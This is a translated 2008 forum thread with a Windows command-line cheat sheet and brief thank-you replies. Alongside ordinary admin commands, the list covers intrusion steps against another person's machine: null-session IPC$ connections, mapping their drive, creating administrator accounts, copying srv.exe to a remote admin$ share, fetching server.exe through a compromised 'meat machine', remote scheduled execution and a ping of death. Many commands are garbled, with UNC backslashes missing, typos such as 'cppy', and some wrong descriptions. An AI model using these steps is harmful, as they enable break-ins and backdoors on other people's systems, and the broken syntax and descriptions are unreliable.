China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-27 01:53
中国DOS联盟论坛 » 其它操作系统综合讨论区 » Nice network commands View 1,613 Replies 8
Original Poster Posted 2008-06-24 15:11 ·  中国 四川 广电网
新手上路
Credits 12
Posts 4
Joined 2008-06-24 14:05
18-year member
UID 120753
Gender Male
Status Offline
### Net Network Commands:

- `net use ip ipc$ " " /user:" "` —— Establish an IPC empty connection
- `net use ip ipc$ "password" /user:"username"` —— Establish a non-empty IPC connection
- `net use h: ipc$ "password" /user:"username"` —— Directly log in and map the other party's C: to local as H:
- `net use h: ipc$` —— Log in and map the other party's C: to local as H:
- `net use ipipc$ /del` —— Delete IPC connection
- `net use h: /del` —— Delete the mapping of the other party to local as H:
- `net user username password /add` —— Create a user
- `net user guest /active:yes` —— Activate guest user
- `net user` —— View which users there are
- `net user account name` —— View account properties
- `net localgroup administrators username /add` —— Add "user" to administrators to make it have administrator privileges, note: add s in plural after administrator
- `net start` —— View which services are started
- `net start service name` —— Start a service; (e.g.: `net start telnet`, `net start schedule`)
- `net stop service name` —— Stop a certain service
- `net time target ip` —— View the other party's time
- `net time target ip /set` —— Synchronize the local computer time with the time of the "target IP" host, add parameter /yes to cancel the confirmation message
- `net view` —— View which shares are enabled in the local LAN
- `net view ip` —— View which shares are enabled in the other party's LAN
- `net config` —— Display system network settings
- `net logoff` —— Disconnect the shared connection
- `net pause service name` —— Pause a certain service
- `net send ip "text information"` —— Send information to the other party
- `net ver` —— Network connection type and information being used in the LAN
- `net share` —— View the shares enabled locally
- `net share ipc$` —— Enable ipc$ share
- `net share ipc$ /del` —— Delete ipc$ share
- `net user guest 12345` —— After logging in with guest user, change the password to 12345
- `net password password` —— Change the system login password

### Netstat Network Commands:

- `netstat -a` —— View which ports are started, commonly used `netstat -an`
- `netstat -n` —— View the network connection situation of ports, commonly used `netstat -an`
- `netstat -v` —— View the work being carried out
- `netstat -p` —— Protocol name, e.g.: `netstat -p tcq/ip` View the usage of a certain protocol (view the usage of tcp/ip protocol)
- `netstat -s` —— View the usage of all protocols being used

### Other Network Commands:

- `tracert -parameter ip(or computer name)` —— Trace the route (data packet), parameter: "-w number" is used to set the timeout interval.
- `ping ip(or domain name)` —— Send data with a default size of 32 bytes to the other party's host, parameters: "-l[space]packet size"; "-n number of sends"; "-t" means keep pinging.
- `ping -t -l 65550 ip` —— Death ping (sending a file larger than 64K and keeping pinging becomes death ping)
- `ipconfig (winipcfg)` —— For windows NT and XP (windows 95 98) to view the local IP address, ipconfig can use parameter "/all" to display all configuration information
- `tlist -t` —— Display processes in a tree list (an additional tool for the system, not installed by default, in the Support/tools folder of the installation directory)
- `kill -F process name` —— Forcefully end a certain process with the -F parameter (an additional tool for the system, not installed by default, in the Support/tools folder of the installation directory)
- `del -F file name` —— Delete a read-only file with the -F parameter, /AR, /AH, /AS, /AA respectively mean delete read-only, hidden, system, archive files, /A-R, /A-H, /A-S, /A-A mean delete files other than read-only, hidden, system, archive. For example, "DEL/AR *.*" means delete all read-only files in the current directory, "DEL/A-S *.*" means delete all files in the current directory except system files
- `del /S /Q directory` or use: `rmdir /s /Q directory` /S deletes the directory and all subdirectories and files under the directory. At the same time, using parameter /Q can cancel the system confirmation during the deletion operation and directly delete. (The two commands have the same function)
- `move` —— Drive letter path file name to be moved, path to store the moved file, new file name after moving, move the file, use parameter /y to cancel the prompt to confirm the existence of the same file in the moving directory and directly overwrite
- `fc one.txt two.txt > 3st.txt` —— Compare the two files and output the different parts to the 3st.txt file, "> " and "> >" are redirect commands
- `at id number` —— Start a registered scheduled task
- `at /delete` —— Stop all scheduled tasks, use parameter /yes to directly stop without confirmation
- `at id number /delete` —— Stop a registered scheduled task
- `at` —— View all scheduled tasks
- `at ip time program name(or a command) /r` —— Run a certain program of the other party at a certain time and restart the computer
- `finger username @host` —— View which users have logged in recently
- `telnet ip port` —— Remotely log in to the server, the default port is 23; typing telnet on this computer directly will enter the telnet of this computer
- `open ip` —— Connect to IP (a command after telnet login)
- `copy path file name 1 path file name 2 /y` —— Copy file 1 to the specified directory as file 2, use parameter /y to cancel confirming that you want to rewrite an existing directory file at the same time
- `copy c:srv.exe ipadmin$` —— Copy local c:srv.exe to the other party's admin
- `cppy 1st.jpg/b+2st.txt/a 3st.jpg` —— Hide the content of 2st.txt in 1st.jpg to generate a new file 3st.jpg, note: the file header of 2st.txt should be empty for three rows, parameters: /b means binary file, /a means ASCLL format file
- `copy ipadmin$svv.exe c:` or `:copyipadmin$*.*` —— Copy the srv.exe file (all files) under the other party's admini$ share to local C:
- `xcopy file or directory tree to be copied target address directory name` —— Copy files and directory trees, use parameter /Y to not prompt to overwrite the same file
- `tftp -i own IP(use the meat machine as a跳板, this uses the meat machine IP) get server.exe c:server.exe` —— After logging in, download "IP"'s server.exe to the target host c:server.exe Parameter: -i means transfer in binary mode, use when transferring exe files, if not adding -i, transfer in ASCII mode (text file mode)
- `tftp -i other party's IP put c:server.exe` —— After logging in, upload local c:server.exe to the host
- `ftp ip port` —— Used to upload files to the server or perform file operations, the default port is 21. bin means transfer in binary mode (for executable files); default is transfer in ASCII format (for text files)
- `route print` —— Display IP routes, will mainly display network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface
- `arp` —— View and process ARP cache, ARP is the meaning of name resolution, responsible for resolving an IP into a physical MAC address. `arp -a` will display all information
- `mem` —— View CPU usage
- `attrib file name(directory name)` —— View the attributes of a certain file (directory)
- `attrib file name -A -R -S -H or +A +R +S +H` —— Remove (add) the archive, read-only, system, hidden attributes of a certain file; use + to add a certain attribute
- `dir` —— View files, parameters: /Q display which user the file and directory belong to the system, /T:C display file creation time, /T:A display file last access time, /T:W last modified time
- `date /t 、 time /t` —— Use this parameter, that is, "DATE/T", "TIME/T" will only display the current date and time, without having to enter a new date and time
- `find file name` —— Find a certain file
- `format drive letter /FS:type` —— Format the disk, type: FAT, FAT32, NTFS, e.g.: `Format D: /FS:NTFS`
- `md` —— Directory name Create directory
- `replace source file directory to replace the file` —— Replace file
- `ren` —— Original file name new file name Rename file name
- `tree` —— Display directories in a tree structure, use parameter -f to list the file names in each folder
- `type file name` —— Display the content of the text file
- `more file name` —— Display the output file screen by screen
- `doskey command to be locked = character xy2|><|`
- `doskey command to be unlocked =` —— Lock command provided by DOS (edit command line, re-call win2k command, and create macro). For example: lock dir command: `doskey dir=entsky` (cannot use `doskey dir=dir`); unlock: `doskey dir=`
- `taskmgr` —— Bring up the task manager
- `exit` —— Exit the cmd.exe program or currently, use parameter /B to exit the current batch script instead of cmd.exe
- `path path executable file name` —— Set a path for the executable file.
- `cmd` —— Start a win2K command interpretation window. Parameters: /eff, /en close, enable command extension; for more detailed instructions, see `cmd /?`
- `regedit /s registry file name` —— Import registry; parameter /S means import in quiet mode, without any prompts;
- `regedit /e registry file name` —— Export registry
- `REM text content` —— Add comments in the batch file
- `netsh` —— View or change local network configuration
### IIS Service Commands:

- `iisreset /reboot` —— Restart win2k computer (but there will be a prompt that the system will restart)
- `iisreset /start or stop` —— Start (stop) all Internet services
- `iisreset /restart` —— Stop then restart all Internet services
- `iisreset /status` —— Display all Internet service status
- `iisreset /enable or disable` —— Enable (disable) the restart of Internet services on the local system
- `iisreset /rebootonerror` —— When starting, stopping or restarting Internet services, if an error occurs, the computer will restart
- `iisreset /noforce` —— If the Internet service cannot be stopped, the Internet service will not be forcibly terminated
- `iisreset /timeout Val` —— When the timeout (seconds) is reached, the Internet service is still not stopped, if the /rebootonerror parameter is specified, the computer will restart. The default value is restart 20 seconds, stop 60 seconds, restart 0 seconds.

### FTP Commands:

The command line format of ftp is:

`ftp -v -d -i -n -g[hostname]` -v display all response information of the remote server.

-d use debugging mode.
-n restrict automatic login of ftp, that is, do not use the.netrc file.
Floor 2 Posted 2008-06-25 11:42 ·  中国 湖南 岳阳 电信
新手上路
Credits 12
Posts 6
Joined 2008-05-16 19:55
18-year member
UID 118875
Gender Male
Status Offline
Not bad... support...
Floor 3 Posted 2008-06-28 20:20 ·  中国 广东 深圳 福田区 电信
新手上路
Credits 2
Posts 2
Joined 2008-06-28 19:57
18-year member
UID 120898
Gender Male
From 湖南
Status Offline
Bro, you've worked hard. Not bad, worthy of collection. You can take it out and have a look when you forget.
Floor 4 Posted 2008-06-29 01:26 ·  中国 福建 漳州 电信
新手上路
Credits 4
Posts 2
Joined 2008-06-26 21:27
18-year member
UID 120831
Gender Male
Status Offline
Hehe!!
Not bad
Support!!
Floor 5 Posted 2008-07-07 17:49 ·  中国 四川 成都 电信
新手上路
Credits 12
Posts 6
Joined 2008-06-27 16:15
18-year member
UID 120861
Gender Male
Status Offline
Has a certain role!
Floor 6 Posted 2008-07-12 12:21 ·  中国 广西 南宁 电信
新手上路
Credits 15
Posts 8
Joined 2008-07-11 20:53
18-year member
UID 121380
Gender Male
Status Offline
Support, thank you very much, you've worked hard!!!
Floor 7 Posted 2008-07-14 19:34 ·  中国 浙江 杭州 电信
新手上路
Credits 7
Posts 4
Joined 2008-07-14 19:02
18-year member
UID 121493
Gender Male
Status Offline
Good article, give it a thumbs up!!!!!
Floor 8 Posted 2008-09-30 14:10 ·  中国 江苏 常州 电信
新手上路
Credits 9
Posts 5
Joined 2008-09-28 18:22
17-year member
UID 126909
Gender Male
Status Offline
Not bad. Hope there are all practices
Floor 9 Posted 2008-10-10 15:40 ·  中国 广东 深圳 宝安区 电信
新手上路
Credits 12
Posts 6
Joined 2008-10-10 13:10
17-year member
UID 127980
Gender Male
Status Offline
Forum Jump: